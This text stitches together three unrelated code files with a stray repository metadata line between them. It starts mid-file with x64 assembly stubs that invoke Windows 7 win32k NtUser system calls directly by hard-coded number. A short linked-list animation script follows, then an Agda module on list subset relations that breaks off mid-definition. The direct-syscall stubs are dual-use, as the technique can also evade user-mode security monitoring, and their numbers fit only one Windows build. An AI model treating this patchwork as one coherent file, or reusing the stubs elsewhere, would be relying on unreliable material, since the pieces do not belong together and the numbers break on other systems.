NtUserRegisterErrorReportingDialog( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserRegisterErrorReportingDialog PROC STDCALL mov r10 , rcx mov eax , 4850 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserRegisterErrorReportingDialog ENDP ; ULONG64 __stdcall NtUserRegisterHotKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserRegisterHotKey PROC STDCALL mov r10 , rcx mov eax , 4851 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserRegisterHotKey ENDP ; ULONG64 __stdcall NtUserRegisterRawInputDevices( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserRegisterRawInputDevices PROC STDCALL mov r10 , rcx mov eax , 4852 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserRegisterRawInputDevices ENDP ; ULONG64 __stdcall NtUserRegisterServicesProcess( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserRegisterServicesProcess PROC STDCALL mov r10 , rcx mov eax , 4853 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserRegisterServicesProcess ENDP ; ULONG64 __stdcall NtUserRegisterSessionPort( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserRegisterSessionPort PROC STDCALL mov r10 , rcx mov eax , 4854 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserRegisterSessionPort ENDP ; ULONG64 __stdcall NtUserRegisterTasklist( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserRegisterTasklist PROC STDCALL mov r10 , rcx mov eax , 4855 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserRegisterTasklist ENDP ; ULONG64 __stdcall NtUserRegisterUserApiHook( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserRegisterUserApiHook PROC STDCALL mov r10 , rcx mov eax , 4856 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserRegisterUserApiHook ENDP ; ULONG64 __stdcall NtUserRemoteConnect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserRemoteConnect PROC STDCALL mov r10 , rcx mov eax , 4857 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserRemoteConnect ENDP ; ULONG64 __stdcall NtUserRemoteRedrawRectangle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserRemoteRedrawRectangle PROC STDCALL mov r10 , rcx mov eax , 4858 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserRemoteRedrawRectangle ENDP ; ULONG64 __stdcall NtUserRemoteRedrawScreen( ); _6_1_7600_sp0_windows_7_NtUserRemoteRedrawScreen PROC STDCALL mov r10 , rcx mov eax , 4859 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserRemoteRedrawScreen ENDP ; ULONG64 __stdcall NtUserRemoteStopScreenUpdates( ); _6_1_7600_sp0_windows_7_NtUserRemoteStopScreenUpdates PROC STDCALL mov r10 , rcx mov eax , 4860 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserRemoteStopScreenUpdates ENDP ; ULONG64 __stdcall NtUserRemoveClipboardFormatListener( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserRemoveClipboardFormatListener PROC STDCALL mov r10 , rcx mov eax , 4861 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserRemoveClipboardFormatListener ENDP ; ULONG64 __stdcall NtUserResolveDesktopForWOW( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserResolveDesktopForWOW PROC STDCALL mov r10 , rcx mov eax , 4862 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserResolveDesktopForWOW ENDP ; ULONG64 __stdcall NtUserSendTouchInput( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserSendTouchInput PROC STDCALL mov r10 , rcx mov eax , 4863 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSendTouchInput ENDP ; ULONG64 __stdcall NtUserSetAppImeLevel( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserSetAppImeLevel PROC STDCALL mov r10 , rcx mov eax , 4864 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetAppImeLevel ENDP ; ULONG64 __stdcall NtUserSetChildWindowNoActivate( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserSetChildWindowNoActivate PROC STDCALL mov r10 , rcx mov eax , 4865 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetChildWindowNoActivate ENDP ; ULONG64 __stdcall NtUserSetClassWord( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserSetClassWord PROC STDCALL mov r10 , rcx mov eax , 4866 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetClassWord ENDP ; ULONG64 __stdcall NtUserSetCursorContents( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserSetCursorContents PROC STDCALL mov r10 , rcx mov eax , 4867 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetCursorContents ENDP ; ULONG64 __stdcall NtUserSetDisplayConfig( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtUserSetDisplayConfig PROC STDCALL mov r10 , rcx mov eax , 4868 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetDisplayConfig ENDP ; ULONG64 __stdcall NtUserSetGestureConfig( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtUserSetGestureConfig PROC STDCALL mov r10 , rcx mov eax , 4869 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetGestureConfig ENDP ; ULONG64 __stdcall NtUserSetImeHotKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtUserSetImeHotKey PROC STDCALL mov r10 , rcx mov eax , 4870 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetImeHotKey ENDP ; ULONG64 __stdcall NtUserSetImeInfoEx( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserSetImeInfoEx PROC STDCALL mov r10 , rcx mov eax , 4871 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetImeInfoEx ENDP ; ULONG64 __stdcall NtUserSetImeOwnerWindow( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserSetImeOwnerWindow PROC STDCALL mov r10 , rcx mov eax , 4872 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetImeOwnerWindow ENDP ; ULONG64 __stdcall NtUserSetInternalWindowPos( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserSetInternalWindowPos PROC STDCALL mov r10 , rcx mov eax , 4873 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetInternalWindowPos ENDP ; ULONG64 __stdcall NtUserSetLayeredWindowAttributes( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserSetLayeredWindowAttributes PROC STDCALL mov r10 , rcx mov eax , 4874 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetLayeredWindowAttributes ENDP ; ULONG64 __stdcall NtUserSetMenu( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserSetMenu PROC STDCALL mov r10 , rcx mov eax , 4875 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetMenu ENDP ; ULONG64 __stdcall NtUserSetMenuContextHelpId( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserSetMenuContextHelpId PROC STDCALL mov r10 , rcx mov eax , 4876 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetMenuContextHelpId ENDP ; ULONG64 __stdcall NtUserSetMenuFlagRtoL( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserSetMenuFlagRtoL PROC STDCALL mov r10 , rcx mov eax , 4877 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetMenuFlagRtoL ENDP ; ULONG64 __stdcall NtUserSetMirrorRendering( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserSetMirrorRendering PROC STDCALL mov r10 , rcx mov eax , 4878 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetMirrorRendering ENDP ; ULONG64 __stdcall NtUserSetObjectInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserSetObjectInformation PROC STDCALL mov r10 , rcx mov eax , 4879 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetObjectInformation ENDP ; ULONG64 __stdcall NtUserSetProcessDPIAware( ); _6_1_7600_sp0_windows_7_NtUserSetProcessDPIAware PROC STDCALL mov r10 , rcx mov eax , 4880 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetProcessDPIAware ENDP ; ULONG64 __stdcall NtUserSetShellWindowEx( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserSetShellWindowEx PROC STDCALL mov r10 , rcx mov eax , 4881 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetShellWindowEx ENDP ; ULONG64 __stdcall NtUserSetSysColors( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserSetSysColors PROC STDCALL mov r10 , rcx mov eax , 4882 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetSysColors ENDP ; ULONG64 __stdcall NtUserSetSystemCursor( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserSetSystemCursor PROC STDCALL mov r10 , rcx mov eax , 4883 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetSystemCursor ENDP ; ULONG64 __stdcall NtUserSetSystemTimer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserSetSystemTimer PROC STDCALL mov r10 , rcx mov eax , 4884 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetSystemTimer ENDP ; ULONG64 __stdcall NtUserSetThreadLayoutHandles( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserSetThreadLayoutHandles PROC STDCALL mov r10 , rcx mov eax , 4885 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetThreadLayoutHandles ENDP ; ULONG64 __stdcall NtUserSetWindowCompositionAttribute( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserSetWindowCompositionAttribute PROC STDCALL mov r10 , rcx mov eax , 4886 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetWindowCompositionAttribute ENDP ; ULONG64 __stdcall NtUserSetWindowDisplayAffinity( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserSetWindowDisplayAffinity PROC STDCALL mov r10 , rcx mov eax , 4887 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetWindowDisplayAffinity ENDP ; ULONG64 __stdcall NtUserSetWindowRgnEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserSetWindowRgnEx PROC STDCALL mov r10 , rcx mov eax , 4888 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetWindowRgnEx ENDP ; ULONG64 __stdcall NtUserSetWindowStationUser( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserSetWindowStationUser PROC STDCALL mov r10 , rcx mov eax , 4889 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetWindowStationUser ENDP ; ULONG64 __stdcall NtUserSfmDestroyLogicalSurfaceBinding( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserSfmDestroyLogicalSurfaceBinding PROC STDCALL mov r10 , rcx mov eax , 4890 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSfmDestroyLogicalSurfaceBinding ENDP ; ULONG64 __stdcall NtUserSfmDxBindSwapChain( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserSfmDxBindSwapChain PROC STDCALL mov r10 , rcx mov eax , 4891 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSfmDxBindSwapChain ENDP ; ULONG64 __stdcall NtUserSfmDxGetSwapChainStats( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserSfmDxGetSwapChainStats PROC STDCALL mov r10 , rcx mov eax , 4892 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSfmDxGetSwapChainStats ENDP ; ULONG64 __stdcall NtUserSfmDxOpenSwapChain( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserSfmDxOpenSwapChain PROC STDCALL mov r10 , rcx mov eax , 4893 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSfmDxOpenSwapChain ENDP ; ULONG64 __stdcall NtUserSfmDxQuerySwapChainBindingStatus( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserSfmDxQuerySwapChainBindingStatus PROC STDCALL mov r10 , rcx mov eax , 4894 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSfmDxQuerySwapChainBindingStatus ENDP ; ULONG64 __stdcall NtUserSfmDxReleaseSwapChain( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserSfmDxReleaseSwapChain PROC STDCALL mov r10 , rcx mov eax , 4895 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSfmDxReleaseSwapChain ENDP ; ULONG64 __stdcall NtUserSfmDxReportPendingBindingsToDwm( ); _6_1_7600_sp0_windows_7_NtUserSfmDxReportPendingBindingsToDwm PROC STDCALL mov r10 , rcx mov eax , 4896 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSfmDxReportPendingBindingsToDwm ENDP ; ULONG64 __stdcall NtUserSfmDxSetSwapChainBindingStatus( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserSfmDxSetSwapChainBindingStatus PROC STDCALL mov r10 , rcx mov eax , 4897 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSfmDxSetSwapChainBindingStatus ENDP ; ULONG64 __stdcall NtUserSfmDxSetSwapChainStats( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserSfmDxSetSwapChainStats PROC STDCALL mov r10 , rcx mov eax , 4898 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSfmDxSetSwapChainStats ENDP ; ULONG64 __stdcall NtUserSfmGetLogicalSurfaceBinding( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserSfmGetLogicalSurfaceBinding PROC STDCALL mov r10 , rcx mov eax , 4899 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSfmGetLogicalSurfaceBinding ENDP ; ULONG64 __stdcall NtUserShowSystemCursor( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserShowSystemCursor PROC STDCALL mov r10 , rcx mov eax , 4900 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserShowSystemCursor ENDP ; ULONG64 __stdcall NtUserSoundSentry( ); _6_1_7600_sp0_windows_7_NtUserSoundSentry PROC STDCALL mov r10 , rcx mov eax , 4901 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSoundSentry ENDP ; ULONG64 __stdcall NtUserSwitchDesktop( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserSwitchDesktop PROC STDCALL mov r10 , rcx mov eax , 4902 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSwitchDesktop ENDP ; ULONG64 __stdcall NtUserTestForInteractiveUser( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserTestForInteractiveUser PROC STDCALL mov r10 , rcx mov eax , 4903 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserTestForInteractiveUser ENDP ; ULONG64 __stdcall NtUserTrackPopupMenuEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtUserTrackPopupMenuEx PROC STDCALL mov r10 , rcx mov eax , 4904 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserTrackPopupMenuEx ENDP ; ULONG64 __stdcall NtUserUnloadKeyboardLayout( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserUnloadKeyboardLayout PROC STDCALL mov r10 , rcx mov eax , 4905 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserUnloadKeyboardLayout ENDP ; ULONG64 __stdcall NtUserUnlockWindowStation( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserUnlockWindowStation PROC STDCALL mov r10 , rcx mov eax , 4906 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserUnlockWindowStation ENDP ; ULONG64 __stdcall NtUserUnregisterHotKey( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserUnregisterHotKey PROC STDCALL mov r10 , rcx mov eax , 4907 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserUnregisterHotKey ENDP ; ULONG64 __stdcall NtUserUnregisterSessionPort( ); _6_1_7600_sp0_windows_7_NtUserUnregisterSessionPort PROC STDCALL mov r10 , rcx mov eax , 4908 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserUnregisterSessionPort ENDP ; ULONG64 __stdcall NtUserUnregisterUserApiHook( ); _6_1_7600_sp0_windows_7_NtUserUnregisterUserApiHook PROC STDCALL mov r10 , rcx mov eax , 4909 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserUnregisterUserApiHook ENDP ; ULONG64 __stdcall NtUserUpdateInputContext( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserUpdateInputContext PROC STDCALL mov r10 , rcx mov eax , 4910 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserUpdateInputContext ENDP ; ULONG64 __stdcall NtUserUpdateInstance( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserUpdateInstance PROC STDCALL mov r10 , rcx mov eax , 4911 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserUpdateInstance ENDP ; ULONG64 __stdcall NtUserUpdateLayeredWindow( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 ); _6_1_7600_sp0_windows_7_NtUserUpdateLayeredWindow PROC STDCALL mov r10 , rcx mov eax , 4912 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserUpdateLayeredWindow ENDP ; ULONG64 __stdcall NtUserUpdatePerUserSystemParameters( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserUpdatePerUserSystemParameters PROC STDCALL mov r10 , rcx mov eax , 4913 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserUpdatePerUserSystemParameters ENDP ; ULONG64 __stdcall NtUserUpdateWindowTransform( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserUpdateWindowTransform PROC STDCALL mov r10 , rcx mov eax , 4914 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserUpdateWindowTransform ENDP ; ULONG64 __stdcall NtUserUserHandleGrantAccess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserUserHandleGrantAccess PROC STDCALL mov r10 , rcx mov eax , 4915 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserUserHandleGrantAccess ENDP ; ULONG64 __stdcall NtUserValidateHandleSecure( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserValidateHandleSecure PROC STDCALL mov r10 , rcx mov eax , 4916 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserValidateHandleSecure ENDP ; ULONG64 __stdcall NtUserWaitForInputIdle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserWaitForInputIdle PROC STDCALL mov r10 , rcx mov eax , 4917 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserWaitForInputIdle ENDP ; ULONG64 __stdcall NtUserWaitForMsgAndEvent( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserWaitForMsgAndEvent PROC STDCALL mov r10 , rcx mov eax , 4918 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserWaitForMsgAndEvent ENDP ; ULONG64 __stdcall NtUserWindowFromPhysicalPoint( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserWindowFromPhysicalPoint PROC STDCALL mov r10 , rcx mov eax , 4919 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserWindowFromPhysicalPoint ENDP ; ULONG64 __stdcall NtUserYieldTask( ); _6_1_7600_sp0_windows_7_NtUserYieldTask PROC STDCALL mov r10 , rcx mov eax , 4920 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserYieldTask ENDP ; ULONG64 __stdcall NtUserSetClassLongPtr( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserSetClassLongPtr PROC STDCALL mov r10 , rcx mov eax , 4921 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetClassLongPtr ENDP ; ULONG64 __stdcall NtUserSetWindowLongPtr( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserSetWindowLongPtr PROC STDCALL mov r10 , rcx mov eax , 4922 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetWindowLongPtr ENDP
ADL/Assemble/Delete/1/R~HR_delete_head.asm
MaxMorning/LinkedListVisualization
3
242747
aLine 0 gNew delPtr gMove delPtr, Root aLine 1 gBne Root, null, 3 aLine 2 Exception EMPTY_LIST aLine 4 gBne Root, Rear, 6 aLine 5 gMove Root, null aLine 6 gMove Rear, null Jmp 8 aLine 9 nMoveRelOut Root, Root, 100 gMoveNext Root, Root aLine 10 pSetNext Rear, Root aLine 12 pDeleteNext delPtr nDelete delPtr gDelete delPtr aLine 13 aStd Halt
Data/List/Relation/Binary/Subset/DecSetoid.agda
banacorn/bidirectional
2
15751
<gh_stars>1-10 ------------------------------------------------------------------------ -- The extensional sublist relation over decidable setoid equality. ------------------------------------------------------------------------ {-# OPTIONS --without-K --safe #-} open import Relation.Binary module Data.List.Relation.Binary.Subset.DecSetoid {c ℓ} (S : DecSetoid c ℓ) where -- import Data.List.Relation.Binary.Permutation.Setoid as SetoidPerm -- import Data.List.Relation.Binary.Subset.Setoid as SetoidSubset -- import Data.List.Relation.Binary.Sublist.Heterogeneous.Properties -- as HeterogeneousProperties open import Level using (_⊔_) -- open DecSetoid S -- open SetoidSubset setoid public -- open DecSetoidEquality S open Relation.Binary using (Rel) open import Data.List using (List) ------------------------------------------------------------------------ -- Subset relation module _ where open import Function using (_∘_) open import Data.List open import Data.List.Membership.DecSetoid S using (_∈_; _∈?_) open import Relation.Nullary open import Data.List.Relation.Unary.Any public open import Data.List.Relation.Unary.Any.Properties using (¬Any[]) open DecSetoid S infix 4 _⊆_ _⊈_ _⊆_ : Rel (List Carrier) (c ⊔ ℓ) xs ⊆ ys = ∀ x → x ∈ xs → x ∈ ys _⊈_ : Rel (List Carrier) (c ⊔ ℓ) xs ⊈ ys = ¬ xs ⊆ ys -- lemma ∈-cong : ∀ {xs x y} → x ≈ y → x ∈ xs → y ∈ xs ∈-cong x≈y (here P) = here (trans (sym x≈y) P) ∈-cong x≈y (there P) = there (∈-cong x≈y P) ∉[] : ∀ {x xs} → ¬ x ∷ xs ⊆ [] ∉[] {x} {xs} P = ¬Any[] (∈-cong {[]} {x} {x} refl (P x (here refl))) ⊆-refl : ∀ {xs} → xs ⊆ xs ⊆-refl x P = P ∷-mono : ∀ {xs ys x y} → x ≈ y → xs ⊆ ys → x ∷ xs ⊆ y ∷ ys ∷-mono x≈y P x (here Q) = here (trans Q x≈y) ∷-mono x≈y P x (there Q) = there (P x Q) ⊆-swap : ∀ {xs x y} → x ∷ y ∷ xs ⊆ y ∷ x ∷ xs ⊆-swap x (here P) = there (here P) ⊆-swap x (there (here P)) = here P ⊆-swap x (there (there P)) = there (there P) infix 4 _⊆?_ _⊆?_ : Decidable _⊆_ [] ⊆? ys = yes (λ x ()) x ∷ xs ⊆? [] = no ∉[] x ∷ xs ⊆? y ∷ ys with x ∈? y ∷ ys x ∷ xs ⊆? y ∷ ys | yes P with xs ⊆? y ∷ ys ... | yes Q = yes λ where x (here R) → ∈-cong (sym R) P x (there R) → Q x R ... | no ¬Q = no λ R → ¬Q λ x S → R x (there S) x ∷ xs ⊆? y ∷ ys | no ¬P = no λ Q → ¬P (Q x (here refl)) ------------------------------------------------------------------------ -- Equivalence relation module _ where open DecSetoid S open import Data.Product open import Data.List open import Relation.Binary.Construct.Intersection open import Function.Base using (flip) infix 4 _≋_ _≋_ : Rel (List Carrier) (c ⊔ ℓ) _≋_ = _⊆_ ∩ flip _⊆_ {-# DISPLAY _⊆_ ∩ flip _⊆_ = _≋_ #-} ∷-cong : ∀ {xs ys x y} → x ≈ y → xs ≋ ys → x ∷ xs ≋ y ∷ ys ∷-cong x≈y (xs⊆ys , ys⊆xs) = ∷-mono x≈y xs⊆ys , ∷-mono (sym x≈y) ys⊆xs ≋-swap : ∀ {xs x y} → x ∷ y ∷ xs ≋ y ∷ x ∷ xs ≋-swap = ⊆-swap , ⊆-swap open import Data.List.Relation.Binary.Permutation.Homogeneous open import Relation.Nullary open import Relation.Nullary.Decidable infix 4 _≋?_ _≋?_ : Decidable _≋_ _≋?_ = decidable _⊆?_ (flip _⊆?_) ------------------------------------------------------------------------ -- Relational properties module _ where open import Data.Product ≋-isEquivalence : IsEquivalence _≋_ ≋-isEquivalence = record { refl = (λ x z → z) , (λ x z → z) ; sym = λ where (P , Q) → Q , P ; trans = λ where (P , Q) (S , T) → (λ x U → S x (P x U)) , λ x V → Q x (T x V) } -- shorthands ≋-refl : Reflexive _≋_ ≋-refl = IsEquivalence.refl ≋-isEquivalence ≋-sym : Symmetric _≋_ ≋-sym = IsEquivalence.sym ≋-isEquivalence ≋-trans : Transitive _≋_ ≋-trans = IsEquivalence.trans ≋-isEquivalence ⊆-IsPreorder : IsPreorder _≋_ _⊆_ ⊆-IsPreorder = record { isEquivalence = ≋-isEquivalence ; reflexive = λ where (P , Q) x R → P x R ; trans = λ P Q x R → Q x (P x R) } ⊆-Antisymmetric : Antisymmetric _≋_ _⊆_ ⊆-Antisymmetric P Q = P , Q ⊆-isPartialOrder : IsPartialOrder _≋_ _⊆_ ⊆-isPartialOrder = record { isPreorder = ⊆-IsPreorder ; antisym = ⊆-Antisymmetric } ⊆-isDecPartialOrder : IsDecPartialOrder _≋_ _⊆_ ⊆-isDecPartialOrder = record { isPartialOrder = ⊆-isPartialOrder ; _≟_ = _≋?_ ; _≤?_ = _⊆?_ } ------------------------------------------------------------------------ -- Bundles poset : Poset _ 